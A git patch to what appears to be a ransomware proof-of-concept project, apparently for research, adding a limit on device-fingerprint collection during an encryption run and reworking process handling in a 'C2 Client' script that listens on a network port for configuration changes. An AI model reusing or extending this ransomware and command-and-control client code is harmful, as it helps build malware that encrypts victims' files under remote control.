From 049908239741d79e3cc177ed39b81890cf3df02b Mon Sep 17 00:00:00 2001
From: jluech <janik@luechinger.ch>
Date: Tue, 10 Jan 2023 15:32:42 +0100
Subject: [PATCH] feat: enable limiting fp collection

---
 client-collect-fp.py | 50 +++++++++++++++++++++++++++++++++-----------
 rwpoc.py             |  3 +--
 2 files changed, 39 insertions(+), 14 deletions(-)

diff --git a/client-collect-fp.py b/client-collect-fp.py
index 944cb1e..dfdcd25 100644
--- a/client-collect-fp.py
+++ b/client-collect-fp.py
@@ -1,13 +1,23 @@
+from argparse import ArgumentParser
 from json import loads
 from multiprocessing import Process
-from os import path
 from socket import AF_INET, SOCK_STREAM, socket
-from subprocess import Popen
+from subprocess import call
 
 from globals import update_existing_config
 from rwpoc import run
 
 
+def parse_args():
+    parser = ArgumentParser(description='C2 Client')
+    parser.add_argument('-n', '--number',
+                        help='Number of fingerprints to collect in one encryption run.',
+                        default=0,
+                        action="store")
+
+    return parser.parse_args()
+
+
 def listen_for_config_changes():
     with socket(AF_INET, SOCK_STREAM) as sock:
         sock.bind(("0.0.0.0", 42666))
@@ -25,18 +35,30 @@ def listen_for_config_changes():
                     update_existing_config(new_config)
 
 
+def collect_device_fingerprint(limit):
+    if limit > 0:
+        """
+        Remember: once the limit is reached the subprocess is terminated.
+        However, the (parent) encryption process is still running to completion
+        and will re-trigger the FP collection on the next iteration - up to the limit.
+        """
+        call(["./fingerprinter.sh", "-n {}".format(limit)])
+    else:
+        call("./fingerprinter.sh")  # without option "-n <limit>", this will continuously collect FP
+
+
 def kill_process(proc):
-    if isinstance(proc, Process):
-        print("kill Process", proc)
-        proc.terminate()
-        proc.join()
-    elif isinstance(proc, Popen):
-        print("kill Popen", proc)
-        proc.kill()
-        proc.wait()
+    print("kill Process", proc)
+    proc.terminate()
+    proc.join()
 
 
 if __name__ == "__main__":
+    # Parse arguments
+    args = parse_args()
+    num_fp = int(args.number)
+
+    # Start subprocess to integrate config changes
     procs = []
     proc_config = Process(target=listen_for_config_changes)
     procs.append(proc_config)
@@ -48,7 +70,8 @@ def kill_process(proc):
         while True:
             # input("\nEnter: start encrypting")
 
-            proc_fp = Popen(path.join(path.abspath(path.curdir), "fingerprinter.sh"))
+            proc_fp = Process(target=collect_device_fingerprint, args=(num_fp,))
+            proc_fp.start()
             procs.append(proc_fp)
 
             # input("\nwait shortly for child to start")
@@ -65,4 +88,7 @@ def kill_process(proc):
     finally:
         print("finally")
         for proc in procs:
-            kill_process(proc)
+            if proc.is_alive():
+                kill_process(proc)
+            else:
+                print("Process", proc, "already dead.")
diff --git a/rwpoc.py b/rwpoc.py
index 1f73d9c..fb7776b 100644
--- a/rwpoc.py
+++ b/rwpoc.py
@@ -2,14 +2,13 @@
 from argparse import ArgumentParser
 from base64 import b64encode, b64decode
 from os import environ, path, rename, walk
-from requests import put
 from sys import argv
 from time import time, sleep
 
 from Crypto.Cipher import AES, ChaCha20, Salsa20, PKCS1_OAEP
 from Crypto.PublicKey import RSA
 from Crypto.Util import Counter
-from Crypto.Util.Padding import pad, unpad
+from requests import put
 
 from globals import get_config_from_file